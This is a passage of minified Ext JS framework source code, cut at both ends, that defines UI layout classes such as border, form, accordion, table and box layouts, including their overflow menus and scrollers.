0]; break; case"east": return[0, 0]; break; case"north": return[0, 0]; break; case"south": return[0, 0]; break } }, getExpandAdj:function () { var b = this.collapsedEl, a = this.cmargins; switch (this.position) { case"west": return[-(a.right + b.getWidth() + a.left), 0]; break; case"east": return[a.right + b.getWidth() + a.left, 0]; break; case"north": return[0, -(a.top + a.bottom + b.getHeight())]; break; case"south": return[0, a.top + a.bottom + b.getHeight()]; break } }, destroy:function () { if (this.autoHideSlideTask && this.autoHideSlideTask.cancel) { this.autoHideSlideTask.cancel() } Ext.destroyMembers(this, "miniCollapsedEl", "collapsedEl", "expandToolEl") }}; Ext.layout.BorderLayout.SplitRegion = function (b, a, c) { Ext.layout.BorderLayout.SplitRegion.superclass.constructor.call(this, b, a, c); this.applyLayout = this.applyFns[c] }; Ext.extend(Ext.layout.BorderLayout.SplitRegion, Ext.layout.BorderLayout.Region, {splitTip:"Drag to resize.", collapsibleSplitTip:"Drag to resize. Double click to hide.", useSplitTips:false, splitSettings:{north:{orientation:Ext.SplitBar.VERTICAL, placement:Ext.SplitBar.TOP, maxFn:"getVMaxSize", minProp:"minHeight", maxProp:"maxHeight"}, south:{orientation:Ext.SplitBar.VERTICAL, placement:Ext.SplitBar.BOTTOM, maxFn:"getVMaxSize", minProp:"minHeight", maxProp:"maxHeight"}, east:{orientation:Ext.SplitBar.HORIZONTAL, placement:Ext.SplitBar.RIGHT, maxFn:"getHMaxSize", minProp:"minWidth", maxProp:"maxWidth"}, west:{orientation:Ext.SplitBar.HORIZONTAL, placement:Ext.SplitBar.LEFT, maxFn:"getHMaxSize", minProp:"minWidth", maxProp:"maxWidth"}}, applyFns:{west:function (c) { if (this.isCollapsed) { return this.applyLayoutCollapsed(c) } var d = this.splitEl.dom, b = d.style; this.panel.setPosition(c.x, c.y); var a = d.offsetWidth; b.left = (c.x + c.width - a) + "px"; b.top = (c.y) + "px"; b.height = Math.max(0, c.height) + "px"; this.panel.setSize(c.width - a, c.height) }, east:function (c) { if (this.isCollapsed) { return this.applyLayoutCollapsed(c) } var d = this.splitEl.dom, b = d.style; var a = d.offsetWidth; this.panel.setPosition(c.x + a, c.y); b.left = (c.x) + "px"; b.top = (c.y) + "px"; b.height = Math.max(0, c.height) + "px"; this.panel.setSize(c.width - a, c.height) }, north:function (c) { if (this.isCollapsed) { return this.applyLayoutCollapsed(c) } var d = this.splitEl.dom, b = d.style; var a = d.offsetHeight; this.panel.setPosition(c.x, c.y); b.left = (c.x) + "px"; b.top = (c.y + c.height - a) + "px"; b.width = Math.max(0, c.width) + "px"; this.panel.setSize(c.width, c.height - a) }, south:function (c) { if (this.isCollapsed) { return this.applyLayoutCollapsed(c) } var d = this.splitEl.dom, b = d.style; var a = d.offsetHeight; this.panel.setPosition(c.x, c.y + a); b.left = (c.x) + "px"; b.top = (c.y) + "px"; b.width = Math.max(0, c.width) + "px"; this.panel.setSize(c.width, c.height - a) }}, render:function (a, c) { Ext.layout.BorderLayout.SplitRegion.superclass.render.call(this, a, c); var d = this.position; this.splitEl = a.createChild({cls:"x-layout-split x-layout-split-" + d, html:" ", id:this.panel.id + "-xsplit"}); if (this.collapseMode == "mini") { this.miniSplitEl = this.splitEl.createChild({cls:"x-layout-mini x-layout-mini-" + d, html:" "}); this.miniSplitEl.addClassOnOver("x-layout-mini-over"); this.miniSplitEl.on("click", this.onCollapseClick, this, {stopEvent:true}) } var b = this.splitSettings[d]; this.split = new Ext.SplitBar(this.splitEl.dom, c.el, b.orientation); this.split.tickSize = this.tickSize; this.split.placement = b.placement; this.split.getMaximumSize = this[b.maxFn].createDelegate(this); this.split.minSize = this.minSize || this[b.minProp]; this.split.on("beforeapply", this.onSplitMove, this); this.split.useShim = this.useShim === true; this.maxSize = this.maxSize || this[b.maxProp]; if (c.hidden) { this.splitEl.hide() } if (this.useSplitTips) { this.splitEl.dom.title = this.collapsible ? this.collapsibleSplitTip : this.splitTip } if (this.collapsible) { this.splitEl.on("dblclick", this.onCollapseClick, this) } }, getSize:function () { if (this.isCollapsed) { return this.collapsedEl.getSize() } var a = this.panel.getSize(); if (this.position == "north" || this.position == "south") { a.height += this.splitEl.dom.offsetHeight } else { a.width += this.splitEl.dom.offsetWidth } return a }, getHMaxSize:function () { var b = this.maxSize || 10000; var a = this.layout.center; return Math.min(b, (this.el.getWidth() + a.el.getWidth()) - a.getMinWidth()) }, getVMaxSize:function () { var b = this.maxSize || 10000; var a = this.layout.center; return Math.min(b, (this.el.getHeight() + a.el.getHeight()) - a.getMinHeight()) }, onSplitMove:function (b, a) { var c = this.panel.getSize(); this.lastSplitSize = a; if (this.position == "north" || this.position == "south") { this.panel.setSize(c.width, a); this.state.height = a } else { this.panel.setSize(a, c.height); this.state.width = a } this.layout.layout(); this.panel.saveState(); return false }, getSplitBar:function () { return this.split }, destroy:function () { Ext.destroy(this.miniSplitEl, this.split, this.splitEl); Ext.layout.BorderLayout.SplitRegion.superclass.destroy.call(this) }}); Ext.Container.LAYOUTS.border = Ext.layout.BorderLayout; Ext.layout.FormLayout = Ext.extend(Ext.layout.AnchorLayout, {labelSeparator:":", trackLabels:true, type:"form", onRemove:function (d) { Ext.layout.FormLayout.superclass.onRemove.call(this, d); if (this.trackLabels) { d.un("show", this.onFieldShow, this); d.un("hide", this.onFieldHide, this) } var b = d.getPositionEl(), a = d.getItemCt && d.getItemCt(); if (d.rendered && a) { if (b && b.dom) { b.insertAfter(a) } Ext.destroy(a); Ext.destroyMembers(d, "label", "itemCt"); if (d.customItemCt) { Ext.destroyMembers(d, "getItemCt", "customItemCt") } } }, setContainer:function (a) { Ext.layout.FormLayout.superclass.setContainer.call(this, a); if (a.labelAlign) { a.addClass("x-form-label-" + a.labelAlign) } if (a.hideLabels) { Ext.apply(this, {labelStyle:"display:none", elementStyle:"padding-left:0;", labelAdjust:0}) } else { this.labelSeparator = Ext.isDefined(a.labelSeparator) ? a.labelSeparator : this.labelSeparator; a.labelWidth = a.labelWidth || 100; if (Ext.isNumber(a.labelWidth)) { var b = Ext.isNumber(a.labelPad) ? a.labelPad : 5; Ext.apply(this, {labelAdjust:a.labelWidth + b, labelStyle:"width:" + a.labelWidth + "px;", elementStyle:"padding-left:" + (a.labelWidth + b) + "px"}) } if (a.labelAlign == "top") { Ext.apply(this, {labelStyle:"width:auto;", labelAdjust:0, elementStyle:"padding-left:0;"}) } } }, isHide:function (a) { return a.hideLabel || this.container.hideLabels }, onFieldShow:function (a) { a.getItemCt().removeClass("x-hide-" + a.hideMode); if (a.isComposite) { a.doLayout() } }, onFieldHide:function (a) { a.getItemCt().addClass("x-hide-" + a.hideMode) }, getLabelStyle:function (e) { var b = "", c = [this.labelStyle, e]; for (var d = 0, a = c.length; d < a; ++d) { if (c[d]) { b += c[d]; if (b.substr(-1, 1) != ";") { b += ";" } } } return b }, renderItem:function (e, a, d) { if (e && (e.isFormField || e.fieldLabel) && e.inputType != "hidden") { var b = this.getTemplateArgs(e); if (Ext.isNumber(a)) { a = d.dom.childNodes[a] || null } if (a) { e.itemCt = this.fieldTpl.insertBefore(a, b, true) } else { e.itemCt = this.fieldTpl.append(d, b, true) } if (!e.getItemCt) { Ext.apply(e, {getItemCt:function () { return e.itemCt }, customItemCt:true}) } e.label = e.getItemCt().child("label.x-form-item-label"); if (!e.rendered) { e.render("x-form-el-" + e.id) } else { if (!this.isValidParent(e, d)) { Ext.fly("x-form-el-" + e.id).appendChild(e.getPositionEl()) } } if (this.trackLabels) { if (e.hidden) { this.onFieldHide(e) } e.on({scope:this, show:this.onFieldShow, hide:this.onFieldHide}) } this.configureItem(e) } else { Ext.layout.FormLayout.superclass.renderItem.apply(this, arguments) } }, getTemplateArgs:function (c) { var a = !c.fieldLabel || c.hideLabel, b = (c.itemCls || this.container.itemCls || "") + (c.hideLabel ? " x-hide-label" : ""); if (Ext.isIE9 && Ext.isIEQuirks && c instanceof Ext.form.TextField) { b += " x-input-wrapper" } return{id:c.id, label:c.fieldLabel, itemCls:b, clearCls:c.clearCls || "x-form-clear-left", labelStyle:this.getLabelStyle(c.labelStyle), elementStyle:this.elementStyle || "", labelSeparator:a ? "" : (Ext.isDefined(c.labelSeparator) ? c.labelSeparator : this.labelSeparator)} }, adjustWidthAnchor:function (a, d) { if (d.label && !this.isHide(d) && (this.container.labelAlign != "top")) { var b = Ext.isIE6 || (Ext.isIE && !Ext.isStrict); return a - this.labelAdjust + (b ? -3 : 0) } return a }, adjustHeightAnchor:function (a, b) { if (b.label && !this.isHide(b) && (this.container.labelAlign == "top")) { return a - b.label.getHeight() } return a }, isValidParent:function (b, a) { return a && this.container.getEl().contains(b.getPositionEl()) }}); Ext.Container.LAYOUTS.form = Ext.layout.FormLayout; Ext.layout.AccordionLayout = Ext.extend(Ext.layout.FitLayout, {fill:true, autoWidth:true, titleCollapse:true, hideCollapseTool:false, collapseFirst:false, animate:false, sequence:false, activeOnTop:false, type:"accordion", renderItem:function (a) { if (this.animate === false) { a.animCollapse = false } a.collapsible = true; if (this.autoWidth) { a.autoWidth = true } if (this.titleCollapse) { a.titleCollapse = true } if (this.hideCollapseTool) { a.hideCollapseTool = true } if (this.collapseFirst !== undefined) { a.collapseFirst = this.collapseFirst } if (!this.activeItem && !a.collapsed) { this.setActiveItem(a, true) } else { if (this.activeItem && this.activeItem != a) { a.collapsed = true } } Ext.layout.AccordionLayout.superclass.renderItem.apply(this, arguments); a.header.addClass("x-accordion-hd"); a.on("beforeexpand", this.beforeExpand, this) }, onRemove:function (a) { Ext.layout.AccordionLayout.superclass.onRemove.call(this, a); if (a.rendered) { a.header.removeClass("x-accordion-hd") } a.un("beforeexpand", this.beforeExpand, this) }, beforeExpand:function (c, b) { var a = this.activeItem; if (a) { if (this.sequence) { delete this.activeItem; if (!a.collapsed) { a.collapse({callback:function () { c.expand(b || true) }, scope:this}); return false } } else { a.collapse(this.animate) } } this.setActive(c); if (this.activeOnTop) { c.el.dom.parentNode.insertBefore(c.el.dom, c.el.dom.parentNode.firstChild) } this.layout() }, setItemSize:function (g, e) { if (this.fill && g) { var d = 0, c, b = this.getRenderedItems(this.container), a = b.length, h; for (c = 0; c < a; c++) { if ((h = b[c]) != g && !h.hidden) { d += h.header.getHeight() } } e.height -= d; g.setSize(e) } }, setActiveItem:function (a) { this.setActive(a, true) }, setActive:function (c, b) { var a = this.activeItem; c = this.container.getComponent(c); if (a != c) { if (c.rendered && c.collapsed && b) { c.expand() } else { if (a) { a.fireEvent("deactivate", a) } this.activeItem = c; c.fireEvent("activate", c) } } }}); Ext.Container.LAYOUTS.accordion = Ext.layout.AccordionLayout; Ext.layout.Accordion = Ext.layout.AccordionLayout; Ext.layout.TableLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:false, type:"table", targetCls:"x-table-layout-ct", tableAttrs:null, setContainer:function (a) { Ext.layout.TableLayout.superclass.setContainer.call(this, a); this.currentRow = 0; this.currentColumn = 0; this.cells = [] }, onLayout:function (d, g) { var e = d.items.items, a = e.length, h, b; if (!this.table) { g.addClass("x-table-layout-ct"); this.table = g.createChild(Ext.apply({tag:"table", cls:"x-table-layout", cellspacing:0, cn:{tag:"tbody"}}, this.tableAttrs), null, true) } this.renderAll(d, g) }, getRow:function (a) { var b = this.table.tBodies[0].childNodes[a]; if (!b) { b = document.createElement("tr"); this.table.tBodies[0].appendChild(b) } return b }, getNextCell:function (j) { var a = this.getNextNonSpan(this.currentColumn, this.currentRow); var g = this.currentColumn = a[0], e = this.currentRow = a[1]; for (var i = e; i < e + (j.rowspan || 1); i++) { if (!this.cells[i]) { this.cells[i] = [] } for (var d = g; d < g + (j.colspan || 1); d++) { this.cells[i][d] = true } } var h = document.createElement("td"); if (j.cellId) { h.id = j.cellId } var b = "x-table-layout-cell"; if (j.cellCls) { b += " " + j.cellCls } h.className = b; if (j.colspan) { h.colSpan = j.colspan } if (j.rowspan) { h.rowSpan = j.rowspan } this.getRow(e).appendChild(h); return h }, getNextNonSpan:function (a, c) { var b = this.columns; while ((b && a >= b) || (this.cells[c] && this.cells[c][a])) { if (b && a >= b) { c++; a = 0 } else { a++ } } return[a, c] }, renderItem:function (e, a, d) { if (!this.table) { this.table = d.createChild(Ext.apply({tag:"table", cls:"x-table-layout", cellspacing:0, cn:{tag:"tbody"}}, this.tableAttrs), null, true) } if (e && !e.rendered) { e.render(this.getNextCell(e)); this.configureItem(e) } else { if (e && !this.isValidParent(e, d)) { var b = this.getNextCell(e); b.insertBefore(e.getPositionEl().dom, null); e.container = Ext.get(b); this.configureItem(e) } } }, isValidParent:function (b, a) { return b.getPositionEl().up("table", 5).dom.parentNode === (a.dom || a) }, destroy:function () { delete this.table; Ext.layout.TableLayout.superclass.destroy.call(this) }}); Ext.Container.LAYOUTS.table = Ext.layout.TableLayout; Ext.layout.AbsoluteLayout = Ext.extend(Ext.layout.AnchorLayout, {extraCls:"x-abs-layout-item", type:"absolute", onLayout:function (a, b) { b.position(); this.paddingLeft = b.getPadding("l"); this.paddingTop = b.getPadding("t"); Ext.layout.AbsoluteLayout.superclass.onLayout.call(this, a, b) }, adjustWidthAnchor:function (b, a) { return b ? b - a.getPosition(true)[0] + this.paddingLeft : b }, adjustHeightAnchor:function (b, a) { return b ? b - a.getPosition(true)[1] + this.paddingTop : b }}); Ext.Container.LAYOUTS.absolute = Ext.layout.AbsoluteLayout; Ext.layout.BoxLayout = Ext.extend(Ext.layout.ContainerLayout, {defaultMargins:{left:0, top:0, right:0, bottom:0}, padding:"0", pack:"start", monitorResize:true, type:"box", scrollOffset:0, extraCls:"x-box-item", targetCls:"x-box-layout-ct", innerCls:"x-box-inner", constructor:function (a) { Ext.layout.BoxLayout.superclass.constructor.call(this, a); if (Ext.isString(this.defaultMargins)) { this.defaultMargins = this.parseMargins(this.defaultMargins) } var d = this.overflowHandler; if (typeof d == "string") { d = {type:d} } var c = "none"; if (d && d.type != undefined) { c = d.type } var b = Ext.layout.boxOverflow[c]; if (b[this.type]) { b = b[this.type] } this.overflowHandler = new b(this, d) }, onLayout:function (b, h) { Ext.layout.BoxLayout.superclass.onLayout.call(this, b, h); var d = this.getLayoutTargetSize(), i = this.getVisibleItems(b), c = this.calculateChildBoxes(i, d), g = c.boxes, j = c.meta; if (d.width > 0) { var k = this.overflowHandler, a = j.tooNarrow ? "handleOverflow" : "clearOverflow"; var e = k[a](c, d); if (e) { if (e.targetSize) { d = e.targetSize } if (e.recalculate) { i = this.getVisibleItems(b); c = this.calculateChildBoxes(i, d); g = c.boxes } } } this.layoutTargetLastSize = d; this.childBoxCache = c; this.updateInnerCtSize(d, c); this.updateChildBoxes(g); this.handleTargetOverflow(d, b, h) }, updateChildBoxes:function (c) { for (var b = 0, e = c.length; b < e; b++) { var d = c[b], a = d.component; if (d.dirtySize) { a.setSize(d.width, d.height) } if (isNaN(d.left) || isNaN(d.top)) { continue } a.setPosition(d.left, d.top) } }, updateInnerCtSize:function (c, h) { var i = this.align, g = this.padding, e = c.width, a = c.height; if (this.type == "hbox") { var b = e, d = h.meta.maxHeight + g.top + g.bottom; if (i == "stretch") { d = a } else { if (i == "middle") { d = Math.max(a, d) } } } else { var d = a, b = h.meta.maxWidth + g.left + g.right; if (i == "stretch") { b = e } else { if (i == "center") { b = Math.max(e, b) } } } this.innerCt.setSize(b || undefined, d || undefined) }, handleTargetOverflow:function (d, a, c) { var e = c.getStyle("overflow"); if (e && e != "hidden" && !this.adjustmentPass) { var b = this.getLayoutTargetSize(); if (b.width != d.width || b.height != d.height) { this.adjustmentPass = true; this.onLayout(a, c) } } delete this.adjustmentPass }, isValidParent:function (b, a) { return this.innerCt && b.getPositionEl().dom.parentNode == this.innerCt.dom }, getVisibleItems:function (g) { var g = g || this.container, e = g.getLayoutTarget(), h = g.items.items, a = h.length, d, j, b = []; for (d = 0; d < a; d++) { if ((j = h[d]).rendered && this.isValidParent(j, e) && j.hidden !== true && j.collapsed !== true && j.shouldLayout !== false) { b.push(j) } } return b }, renderAll:function (a, b) { if (!this.innerCt) { this.innerCt = b.createChild({cls:this.innerCls}); this.padding = this.parseMargins(this.padding) } Ext.layout.BoxLayout.superclass.renderAll.call(this, a, this.innerCt) }, getLayoutTargetSize:function () { var b = this.container.getLayoutTarget(), a; if (b) { a = b.getViewSize(); if (Ext.isIE && Ext.isStrict && a.width == 0) { a = b.getStyleSize() } a.width -= b.getPadding("lr"); a.height -= b.getPadding("tb") } return a }, renderItem:function (a) { if (Ext.isString(a.margins)) { a.margins = this.parseMargins(a.margins) } else { if (!a.margins) { a.margins = this.defaultMargins } } Ext.layout.BoxLayout.superclass.renderItem.apply(this, arguments) }, destroy:function () { Ext.destroy(this.overflowHandler); Ext.layout.BoxLayout.superclass.destroy.apply(this, arguments) }}); Ext.layout.boxOverflow.None = Ext.extend(Object, {constructor:function (b, a) { this.layout = b; Ext.apply(this, a || {}) }, handleOverflow:Ext.emptyFn, clearOverflow:Ext.emptyFn}); Ext.layout.boxOverflow.none = Ext.layout.boxOverflow.None; Ext.layout.boxOverflow.Menu = Ext.extend(Ext.layout.boxOverflow.None, {afterCls:"x-strip-right", noItemsMenuText:'
(None)
', constructor:function (a) { Ext.layout.boxOverflow.Menu.superclass.constructor.apply(this, arguments); this.menuItems = [] }, createInnerElements:function () { if (!this.afterCt) { this.afterCt = this.layout.innerCt.insertSibling({cls:this.afterCls}, "before") } }, clearOverflow:function (a, g) { var e = g.width + (this.afterCt ? this.afterCt.getWidth() : 0), b = this.menuItems; this.hideTrigger(); for (var c = 0, d = b.length; c < d; c++) { b.pop().component.show() } return{targetSize:{height:g.height, width:e}} }, showTrigger:function () { this.createMenu(); this.menuTrigger.show() }, hideTrigger:function () { if (this.menuTrigger != undefined) { this.menuTrigger.hide() } }, beforeMenuShow:function (h) { var b = this.menuItems, a = b.length, g, e; var c = function (j, i) { return j.isXType("buttongroup") && !(i instanceof Ext.Toolbar.Separator) }; this.clearMenu(); h.removeAll(); for (var d = 0; d < a; d++) { g = b[d].component; if (e && (c(g, e) || c(e, g))) { h.add("-") } this.addComponentToMenu(h, g); e = g } if (h.items.length < 1) { h.add(this.noItemsMenuText) } }, createMenuConfig:function (c, a) { var b = Ext.apply({}, c.initialConfig), d = c.toggleGroup; Ext.copyTo(b, c, ["iconCls", "icon", "itemId", "disabled", "handler", "scope", "menu"]); Ext.apply(b, {text:c.overflowText || c.text, hideOnClick:a}); if (d || c.enableToggle) { Ext.apply(b, {group:d, checked:c.pressed, listeners:{checkchange:function (g, e) { c.toggle(e) }}}) } delete b.ownerCt; delete b.xtype; delete b.id; return b }, addComponentToMenu:function (b, a) { if (a instanceof Ext.Toolbar.Separator) { b.add("-") } else { if (Ext.isFunction(a.isXType)) { if (a.isXType("splitbutton")) { b.add(this.createMenuConfig(a, true)) } else { if (a.isXType("button")) { b.add(this.createMenuConfig(a, !a.menu)) } else { if (a.isXType("buttongroup")) { a.items.each(function (c) { this.addComponentToMenu(b, c) }, this) } } } } } }, clearMenu:function () { var a = this.moreMenu; if (a && a.items) { a.items.each(function (b) { delete b.menu }) } }, createMenu:function () { if (!this.menuTrigger) { this.createInnerElements(); this.menu = new Ext.menu.Menu({ownerCt:this.layout.container, listeners:{scope:this, beforeshow:this.beforeMenuShow}}); this.menuTrigger = new Ext.Button({iconCls:"x-toolbar-more-icon", cls:"x-toolbar-more", menu:this.menu, renderTo:this.afterCt}) } }, destroy:function () { Ext.destroy(this.menu, this.menuTrigger) }}); Ext.layout.boxOverflow.menu = Ext.layout.boxOverflow.Menu; Ext.layout.boxOverflow.HorizontalMenu = Ext.extend(Ext.layout.boxOverflow.Menu, {constructor:function () { Ext.layout.boxOverflow.HorizontalMenu.superclass.constructor.apply(this, arguments); var c = this, b = c.layout, a = b.calculateChildBoxes; b.calculateChildBoxes = function (d, i) { var l = a.apply(b, arguments), k = l.meta, e = c.menuItems; var j = 0; for (var g = 0, h = e.length; g < h; g++) { j += e[g].width } k.minimumWidth += j; k.tooNarrow = k.minimumWidth > i.width; return l } }, handleOverflow:function (d, h) { this.showTrigger(); var k = h.width - this.afterCt.getWidth(), l = d.boxes, e = 0, r = false; for (var o = 0, c = l.length; o < c; o++) { e += l[o].width } var a = k - e, g = 0; for (var o = 0, c = this.menuItems.length; o < c; o++) { var n = this.menuItems[o], m = n.component, b = n.width; if (b < a) { m.show(); a -= b; g++; r = true } else { break } } if (r) { this.menuItems = this.menuItems.slice(g) } else { for (var j = l.length - 1; j >= 0; j--) { var q = l[j].component, p = l[j].left + l[j].width; if (p >= k) { this.menuItems.unshift({component:q, width:l[j].width}); q.hide() } else { break } } } if (this.menuItems.length == 0) { this.hideTrigger() } return{targetSize:{height:h.height, width:k}, recalculate:r} }}); Ext.layout.boxOverflow.menu.hbox = Ext.layout.boxOverflow.HorizontalMenu; Ext.layout.boxOverflow.Scroller = Ext.extend(Ext.layout.boxOverflow.None, {animateScroll:true, scrollIncrement:100, wheelIncrement:3, scrollRepeatInterval:400, scrollDuration:0.4, beforeCls:"x-strip-left", afterCls:"x-strip-right", scrollerCls:"x-strip-scroller", beforeScrollerCls:"x-strip-scroller-left", afterScrollerCls:"x-strip-scroller-right", createWheelListener:function () { this.layout.innerCt.on({scope:this, mousewheel:function (a) { a.stopEvent(); this.scrollBy(a.getWheelDelta() * this.wheelIncrement * -1, false) }}) }, handleOverflow:function (a, b) { this.createInnerElements(); this.showScrollers() }, clearOverflow:function () { this.hideScrollers() }, showScrollers:function () { this.createScrollers(); this.beforeScroller.show(); this.afterScroller.show(); this.updateScrollButtons() }, hideScrollers:function () { if (this.beforeScroller != undefined) { this.beforeScroller.hide(); this.afterScroller.hide() } }, createScrollers:function () { if (!this.beforeScroller && !this.afterScroller) { var a = this.beforeCt.createChild({cls:String.format("{0} {1} ", this.scrollerCls, this.beforeScrollerCls)}); var b = this.afterCt.createChild({cls:String.format("{0} {1}", this.scrollerCls, this.afterScrollerCls)}); a.addClassOnOver(this.beforeScrollerCls + "-hover"); b.addClassOnOver(this.afterScrollerCls + "-hover"); a.setVisibilityMode(Ext.Element.DISPLAY); b.setVisibilityMode(Ext.Element.DISPLAY); this.beforeRepeater = new Ext.util.ClickRepeater(a, {interval:this.scrollRepeatInterval, handler:this.scrollLeft, scope:this}); this.afterRepeater = new Ext.util.ClickRepeater(b, {interval:this.scrollRepeatInterval, handler:this.scrollRight, scope:this}); this.beforeScroller = a; this.afterScroller = b } }, destroy:function () { Ext.destroy(this.beforeScroller, this.afterScroller, this.beforeRepeater, this.afterRepeater, this.beforeCt, this.afterCt) }, scrollBy:function (b, a) { this.scrollTo(this.getScrollPosition() + b, a) }, getItem:function (a) { if (Ext.isString(a)) { a = Ext.getCmp(a) } else { if (Ext.isNumber(a)) { a = this.items[a] } } return a }, getScrollAnim:function () { return{duration:this.scrollDuration, callback:this.updateScrollButtons, scope:this} }, updateScrollButtons:function () { if (this.beforeScroller == undefined || this.afterScroller == undefined) { return } var d = this.atExtremeBefore() ? "addClass" : "removeClass", c = this.atExtremeAfter() ? "addClass" : "removeClass", a = this.beforeScrollerCls + "-disabled", b = this.afterScrollerCls + "-disabled"; this.beforeScroller[d](a); this.afterScroller[c](b); this.scrolling = false }, atExtremeBefore:function () { return this.getScrollPosition() === 0 }, scrollLeft:function (a) { this.scrollBy(-this.scrollIncrement, a) }, scrollRight:function (a) { this.scrollBy(this.scrollIncrement, a) }, scrollToItem:function (d, b) { d = this.getItem(d); if (d != undefined) { var a = this.getItemVisibility(d); if (!a.fullyVisible) { var c = d.getBox(true, true), e = c.x; if (a.hiddenRight) { e -= (this.layout.innerCt.getWidth() - c.width) } this.scrollTo(e, b) } } }, getItemVisibility:function (e) { var d = this.getItem(e).getBox(true, true), a = d.x, c = d.x + d.width, g = this.getScrollPosition(), b = this.layout.innerCt.getWidth() + g; return{hiddenLeft:a < g, hiddenRight:c > b, fullyVisible:a > g && c < b} }}); Ext.layout.boxOverflow.scroller = Ext.layout.boxOverflow.Scroller; Ext.layout.boxOverflow.VerticalScroller = Ext.extend(Ext.layout.boxOverflow.Scroller, {scrollIncrement:75, wheelIncrement:2, handleOverflow:function (a, b) { Ext.layout.boxOverflow.VerticalScroller.superclass.handleOverflow.apply(this, arguments); return{targetSize:{height:b.height - (this.beforeCt.getHeight() + this.afterCt.getHeight()), width:b.width}} }, createInnerElements:function () { var a = this.layout.innerCt; if (!this.beforeCt) { this.beforeCt = a.insertSibling({cls:this.beforeCls}, "before"); this.afterCt = a.insertSibling({cls:this.afterCls}, "after"); this.createWheelListener() } }, scrollTo:function (a, b) { var d = this.getScrollPosition(), c = a.constrain(0, this.getMaxScrollBottom()); if (c != d && !this.scrolling) { if (b == undefined) { b = this.animateScroll } this.layout.innerCt.scrollTo("top", c, b ? this.getScrollAnim() : false); if (b) { this.scrolling = true } else { this.scrolling = false; this.updateScrollButtons() } } }, getScrollPosition:function () { return parseInt(this.layout.innerCt.dom.scrollTop, 10) || 0 }, getMaxScrollBottom:function () { return this.layout.innerCt.dom.scrollHeight - this.layout.innerCt.getHeight() }, atExtremeAfter:function () { return this.getScrollPosition() >= this.getMaxScrollBottom() }}); Ext.layout.boxOverflow.scroller.vbox = Ext.layout.boxOverflow.VerticalScroller; Ext.layout.boxOverflow.HorizontalScroller = Ext.extend(Ext.layout.boxOverflow.Scroller, {handleOverflow:function (a, b) { Ext.layout.boxOverflow.HorizontalScroller.superclass.handleOverflow.apply(this, arguments); return{targetSize:{height:b.height, width:b.width - (this.beforeCt.getWidth() + this.afterCt.getWidth())}} }, createInnerElements:function () { var a = this.layout.innerCt; if (!this.beforeCt) { this.afterCt = a.insertSibling({cls:this.afterCls}, "before"); this.beforeCt = a.insertSibling({cls:this.beforeCls}, "before"); this.createWheelListener() } }, scrollTo:function (a, b) { var d = this.getScrollPosition(), c = a.constrain(0, this.getMaxScrollRight()); if (c != d && !this.scrolling) { if (b == undefined) { b = this.animateScroll } this.layout.innerCt.scrollTo("left", c, b ? this.getScrollAnim() : false); if (b) { this.scrolling = true } else { this.scrolling = false; this.updateScrollButtons() } } }, getScrollPosition:function () { return parseInt(this.layout.innerCt.dom.scrollLeft, 10) || 0 }, getMaxScrollRight:function () { return this.layout.innerCt.dom.scrollWidth - this.layout.innerCt.getWidth() }, atExtremeAfter:function () { return this.getScrollPosition() >= this.getMaxScrollRight() }}); Ext.layout.boxOverflow.scroller.hbox = Ext.layout.boxOverflow.HorizontalScroller; Ext.layout.HBoxLayout = Ext.extend(Ext.layout.BoxLayout, {align:"top", type:"hbox", calculateChildBoxes:function (r, b) { var F = r.length, R = this.padding, D = R.top, U = R.left, y = D + R.bottom, O = U + R.right, a = b.width - this.scrollOffset, e = b.height, o = Math.max(0, e - y), P = this.pack == "start", W = this.pack == "center", A = this.pack == "end", L = 0, Q = 0, T = 0, l = 0, X = 0, H = [], k, J, M, V, w, j, S, I, c, x, q, N; for (S = 0; S < F; S++) { k = r[S]; M = k.height; J = k.width; j = !k.hasLayout && typeof k.doLayout == "function"; if (typeof J != "number") { if (k.flex && !J) { T += k.flex } else { if (!J && j) { k.doLayout() } V = k.getSize(); J = V.width; M = V.height } } w = k.margins; x = w.left + w.right; L += x + (J || 0); l += x + (k.flex ? k.minWidth || 0 : J); X += x + (k.minWidth || J || 0); if (typeof M != "number") { if (j) { k.doLayout() } M = k.getHeight() } Q = Math.max(Q, M + w.top + w.bottom); H.push({component:k, height:M || undefined, width:J || undefined}) } var K = l - a, p = X > a; var n = Math.max(0, a - L - O); if (p) { for (S = 0; S < F; S++) { H[S].width = r[S].minWidth || r[S].width || H[S].width } } else { if (K > 0) { var C = []; for (var E = 0, v = F; E < v; E++) { var B = r[E], t = B.minWidth || 0; if (B.flex) { H[E].width = t } else { C.push({minWidth:t, available:H[E].width - t, index:E}) } } C.sort(function (Y, i) { return Y.available > i.available ? 1 : -1 }); for (var S = 0, v = C.length; S < v; S++) { var G = C[S].index; if (G == undefined) { continue } var B = r[G], m = H[G], u = m.width, t = B.minWidth, d = Math.max(t, u - Math.ceil(K / (v - S))), g = u - d; H[G].width = d; K -= g } } else { var h = n, s = T; for (S = 0; S < F; S++) { k = r[S]; I = H[S]; w = k.margins; q = w.top + w.bottom; if (P && k.flex && !k.width) { c = Math.ceil((k.flex / s) * h); h -= c; s -= k.flex; I.width = c; I.dirtySize = true } } } } if (W) { U += n / 2 } else { if (A) { U += n } } for (S = 0; S < F; S++) { k = r[S]; I = H[S]; w = k.margins; U += w.left; q = w.top + w.bottom; I.left = U; I.top = D + w.top; switch (this.align) { case"stretch": N = o - q; I.height = N.constrain(k.minHeight || 0, k.maxHeight || 1000000); I.dirtySize = true; break; case"stretchmax": N = Q - q; I.height = N.constrain(k.minHeight || 0, k.maxHeight || 1000000); I.dirtySize = true; break; case"middle": var z = o - I.height - q; if (z > 0) { I.top = D + q + (z / 2) } } U += I.width + w.right } return{boxes:H, meta:{maxHeight:Q, nonFlexWidth:L, desiredWidth:l, minimumWidth:X, shortfall:l - a, tooNarrow:p}} }}); Ext.Container.LAYOUTS.hbox = Ext.layout.HBoxLayout; Ext.layout.VBoxLayout = Ext.extend(Ext.layout.BoxLayout, {align:"left", type:"vbox", calculateChildBoxes:function (o, b) { var E = o.length, R = this.padding, C = R.top, V = R.left, x = C + R.bottom, O = V + R.right, a = b.width - this.scrollOffset, c = b.height, K = Math.max(0, a - O), P = this.pack == "start", X = this.pack == "center", z = this.pack == "end", k = 0, u = 0, U = 0, L = 0, m = 0, G = [], h, I, N, W, t, g, T, H, S, w, n, d, r; for (T = 0; T < E; T++) { h = o[T]; N = h.height; I = h.width; g = !h.hasLayout && typeof h.doLayout == "function"; if (typeof N != "number") { if (h.flex && !N) { U += h.flex } else { if (!N && g) { h.doLayout() } W = h.getSize(); I = W.width; N = W.height } } t = h.margins; n = t.top + 